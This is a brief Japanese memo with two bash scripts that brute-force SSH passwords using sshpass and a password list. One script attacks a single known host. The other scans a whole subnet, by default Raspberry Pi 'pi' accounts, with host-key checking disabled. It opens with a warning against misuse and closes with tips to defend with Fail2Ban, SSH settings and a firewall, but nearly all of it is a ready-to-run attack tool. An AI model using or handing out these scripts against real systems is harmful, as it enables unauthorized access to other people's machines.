悪用厳禁です。
よくわからないなら使わないでください。
ユーザー名とIPが判明している場合
arguments = username, ip address, password list file
#!/bin/bash
user_name="${1}" # Username from the first parameter
ip_address="${2}" # Specific IP address from the second parameter
password_list="${3:-~/passwords.txt}" # Path to the password file from the third parameter, defaulting if not provided
echo -e "Attempting to connect to $ip_address with username: $user_name"
# Loop through each password
while IFS= read -r password; do
echo "Testing password: $password"
# Use sshpass to attempt to login
sshpass -p "$password" ssh -o StrictHostKeyChecking=no ${user_name}@${ip_address} "echo 'Success'; exit"
if [ $? -eq 0 ]; then
echo "Password found: $password at IP: $ip_address"
break # Exit loop if password is correct
fi
done < "$password_list"
基本形
arguments = username, ip range, ip_from, ip_to, path_to_passwordlist
#!/bin/bash
user_name="${1:-pi}" # Default to 'pi' if no username is provided
ip_range="${2:-192.168.0}" # Default IP range
ip_from="${3:-1}"
ip_to="${4:-254}" # Scan all possible IPs in the subnet
echo "Attempting to connect to a Pi with username: ${user_name}\n"
# Path to your password file
password_list="${5:-~/passwords.txt}"
# Loop through each IP in the specified range
for i in $(seq ${ip_from} ${ip_to}); do
echo "Trying with: ${ip_range}.$i"
# Loop through each password
while IFS= read -r password; do
echo "Testing password: $password"
# Use sshpass to attempt to login
sshpass -p "$password" ssh -o StrictHostKeyChecking=no ${user_name}@${ip_range}.$i "echo 'Success'; exit"
if [ $? -eq 0 ]; then
echo "Password found: $password at IP: ${ip_range}.$i"
break 2 # Exit both loops if password is correct
fi
done < "$password_list"
done
- 使用する場合GPG併用推奨
- Fail2Ban、SSH Configuration、Firewallで防衛推奨